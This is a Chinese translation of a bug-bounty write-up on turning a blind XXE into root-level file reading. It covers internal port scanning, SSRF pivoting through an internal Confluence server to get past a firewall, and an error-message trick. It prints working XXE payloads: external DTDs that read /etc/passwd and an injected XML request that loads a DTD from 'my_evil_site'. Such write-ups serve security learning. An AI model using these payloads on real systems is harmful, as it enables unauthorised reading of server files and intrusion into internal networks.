第三篇翻译:XXE漏洞

原文:From blind XXE to root-level file read access

漏洞:Blind XXE

作者:Pieter

难度:高

  接下来,我将概述我挖洞时遇到的问题,以及遇到问题时我是怎么处理并解决的,希望这能够帮助大家在今后遇到类似的问题时知道该如何处理!

我关注的重点?

  一个简单的XML格式的错误响应信息,以及一个被探测到的404地址引起了我的注意。

  当我将请求方法改为POST,并且增加一个请求头 Content-Type: application/xml,再添加了一个XML主体之后,响应消息让我大吃一惊!

  继续完善XML主体,当发送完整的XML文档时会产生下面的结果。我们注意到服务器需要认证之后才能进行交互,但是我们完全不知道该认证什么以及在哪里进行认证,所以这里XXE漏洞很难利用

  尽管现在发现的漏洞如此鸡肋,但是无论怎样我们都应该尝试一下包含DOCTYPE 定义的外部实体是否可用,如果外部实体没有被完全禁用,那么就还有戏

  我紧张的看着我的Burp Collaborator 的结果,非常期待收到来自服务器传递过来的HTTP请求,但是很不幸,并没有得到预期的结果。可以看见服务器解析了我的域名,但是却没有HTTP请求,并且服务器在几秒钟之后就因500错误Timeout了。这似乎是因为防火墙阻止了服务器的出口流量,只有UDP 53端口开放

盲注…

  当我尝试访问本地文件和内部网络服务的时候,我得到了一些反馈结果,不过这并没有太大的价值!下面的Response error表示访问的文件存在,并且可以由XML解析器打开和读取,但是该文件的内容不是有效的DTD文档类型,所以解析失败并且报错

  当访问不存在的文件时,Response error 响应信息不同,它会提示文件不存在

  接下来我们尝试利用这个blind XXE 漏洞做为一个原始的端口扫描器,扫描内网端口。这种类型的bind XXE 类似于SSRF漏洞:你可以生成HTTP请求,但是不能读取响应信息

  既然可以扫描端口,我们同样也能检查服务器支持的协议类型,例如:https,gopher,ftp,jar,scp等等。看下图,错误消息中会将用户提供的协议打印出来,这个有点意思,我们暂时记住它以后再说!

  现在我们尝试利用Bind XXE访问内部WEB网站,前面测试中我们发现出口流量会被防火墙阻拦,但是内部访问是否同样会被禁止呢?有趣,Response error中的错误信息我们之前也遇到过,那代表着资源已经被读取,但不是XML格式所以出错,这意味着内部网络是可以访问的,防火墙并没有拦截!

1
2
3
wiki.company.internal
jira.company.internal
confluence.company.internal

柳暗花明?!

  当我们访问jira.company.internal 这个站点成功之后,我觉得我现在可以祭出大杀器了–—利用jira的URL重定向漏洞,将它设置为我们的代理主机,并尝试利用代理主机将流量转发出来,如果你不知道这个漏洞,我建议你看看freebuf上的这篇文章 https://www.freebuf.com/vuls/168719.html

  代理失败了,原因是在SSL认证中出现任何错误的话,HTTPS流量都将失效!幸运的是,Jira默认也运行在TCP 8080端口上,所以咱们用HTTP协议再来代理看看。当我检查Burp Collaborator时,并没有任何HTTP访问请求,继续宣告代理失败….

  出现上面的情况很有可能是管理员已经修复了Jira中的漏洞。最后我已经接近疯狂了,TMD利用个漏洞这么麻烦,我尝试了可能存在的SSRF漏洞,当我在内部网站http://Confluence.company.internal 上尝试用与Jira相同的漏洞时奇迹发生了,代理生效了,终于有HTTP请求啦

  Bingo!我们成功利用内部WEB站点作代理绕过防火墙,将流量转发到攻击者的电脑上。这意味着从现在开始我们就能利用经典的blind XXE进行攻击啦(此处应该有掌声👏),如果不清楚bind XXE的利用方法的话可以参考freebuf上的文章 https://www.freebuf.com/column/181064.html

[*]攻击者服务器上的evil.xml

1
2
<!ENTITY % file SYSTEM "file:///">
<!ENTITY % ent "<!ENTITY data SYSTEM '%file;'>">

[*]burp发送的xml注入语句

1
2
3
4
5
6
7
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://confluence.company.internal:8090/plugins/servlet/oauth/users/icon-uri?consumerUri=http://my_evil_site/evil.xml">
%ext;
%ent;
]>
<r>&data;</r>

  大家注意观察上面我标记的 no protocal,因为读取到的目录内容是 bin boot dev etc home….没有像之前的 gopher://localhost 一样指定任何协议类型,所以显示no protocal,然后将读取到的内容打印出来

  但是当我去读取/etc/passwd时,读取到的内容是:

1
2
3
4
5
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
[…]

  因为文件内容是以 root:x 开头,所以服务器就会误以为我指定的协议类型是root,于是服务器只是将我指定的协议打印出来了,就像先前打印gopher一样,这就导致我们不能正确读取文件内容

[*]攻击者服务器上的evil.xml

1
2
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM '%file;'>">

  通过对比可以发现,当用户指定协议类型时服务端只打印出协议名字;当用户不指定协议类型时,服务端会打印出完整的内容。于是我就想到了一个很简单的绕过方法,仅仅在 %file 前面添加一个 : 就能绕过限制

[*]攻击者服务器上的evil.xml

1
2
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

打赏译者

文章目录
  1. 1. 原文:From blind XXE to root-level file read access
  2. 2. 漏洞:Blind XXE
  3. 3. 作者:Pieter
  4. 4. 难度:高
  5. 5.   接下来,我将概述我挖洞时遇到的问题,以及遇到问题时我是怎么处理并解决的,希望这能够帮助大家在今后遇到类似的问题时知道该如何处理!
  • 我关注的重点?
    1. 1.   一个简单的XML格式的错误响应信息,以及一个被探测到的404地址引起了我的注意。
    2. 2.   当我将请求方法改为POST,并且增加一个请求头 Content-Type: application/xml,再添加了一个XML主体之后,响应消息让我大吃一惊!
    3. 3.   继续完善XML主体,当发送完整的XML文档时会产生下面的结果。我们注意到服务器需要认证之后才能进行交互,但是我们完全不知道该认证什么以及在哪里进行认证,所以这里XXE漏洞很难利用
    4. 4.   尽管现在发现的漏洞如此鸡肋,但是无论怎样我们都应该尝试一下包含DOCTYPE 定义的外部实体是否可用,如果外部实体没有被完全禁用,那么就还有戏
    5. 5.   我紧张的看着我的Burp Collaborator 的结果,非常期待收到来自服务器传递过来的HTTP请求,但是很不幸,并没有得到预期的结果。可以看见服务器解析了我的域名,但是却没有HTTP请求,并且服务器在几秒钟之后就因500错误Timeout了。这似乎是因为防火墙阻止了服务器的出口流量,只有UDP 53端口开放
  • 盲注…
    1. 1.   当我尝试访问本地文件和内部网络服务的时候,我得到了一些反馈结果,不过这并没有太大的价值!下面的Response error表示访问的文件存在,并且可以由XML解析器打开和读取,但是该文件的内容不是有效的DTD文档类型,所以解析失败并且报错
    2. 2.   当访问不存在的文件时,Response error 响应信息不同,它会提示文件不存在
    3. 3.   接下来我们尝试利用这个blind XXE 漏洞做为一个原始的端口扫描器,扫描内网端口。这种类型的bind XXE 类似于SSRF漏洞:你可以生成HTTP请求,但是不能读取响应信息
    4. 4.   既然可以扫描端口,我们同样也能检查服务器支持的协议类型,例如:https,gopher,ftp,jar,scp等等。看下图,错误消息中会将用户提供的协议打印出来,这个有点意思,我们暂时记住它以后再说!
    5. 5.   现在我们尝试利用Bind XXE访问内部WEB网站,前面测试中我们发现出口流量会被防火墙阻拦,但是内部访问是否同样会被禁止呢?有趣,Response error中的错误信息我们之前也遇到过,那代表着资源已经被读取,但不是XML格式所以出错,这意味着内部网络是可以访问的,防火墙并没有拦截!
  • 柳暗花明?!
    1. 1.   当我们访问jira.company.internal 这个站点成功之后,我觉得我现在可以祭出大杀器了–—利用jira的URL重定向漏洞,将它设置为我们的代理主机,并尝试利用代理主机将流量转发出来,如果你不知道这个漏洞,我建议你看看freebuf上的这篇文章 https://www.freebuf.com/vuls/168719.html
    2. 2.   代理失败了,原因是在SSL认证中出现任何错误的话,HTTPS流量都将失效!幸运的是,Jira默认也运行在TCP 8080端口上,所以咱们用HTTP协议再来代理看看。当我检查Burp Collaborator时,并没有任何HTTP访问请求,继续宣告代理失败….
    3. 3.   出现上面的情况很有可能是管理员已经修复了Jira中的漏洞。最后我已经接近疯狂了,TMD利用个漏洞这么麻烦,我尝试了可能存在的SSRF漏洞,当我在内部网站http://Confluence.company.internal 上尝试用与Jira相同的漏洞时奇迹发生了,代理生效了,终于有HTTP请求啦
    4. 4.   Bingo!我们成功利用内部WEB站点作代理绕过防火墙,将流量转发到攻击者的电脑上。这意味着从现在开始我们就能利用经典的blind XXE进行攻击啦(此处应该有掌声👏),如果不清楚bind XXE的利用方法的话可以参考freebuf上的文章 https://www.freebuf.com/column/181064.html
    5. 5.   大家注意观察上面我标记的 no protocal,因为读取到的目录内容是 bin boot dev etc home….没有像之前的 gopher://localhost 一样指定任何协议类型,所以显示no protocal,然后将读取到的内容打印出来
    6. 6.   但是当我去读取/etc/passwd时,读取到的内容是:
    7. 7.   因为文件内容是以 root:x 开头,所以服务器就会误以为我指定的协议类型是root,于是服务器只是将我指定的协议打印出来了,就像先前打印gopher一样,这就导致我们不能正确读取文件内容
    8. 8.   通过对比可以发现,当用户指定协议类型时服务端只打印出协议名字;当用户不指定协议类型时,服务端会打印出完整的内容。于是我就想到了一个很简单的绕过方法,仅仅在 %file 前面添加一个 : 就能绕过限制
  • 打赏译者
  • |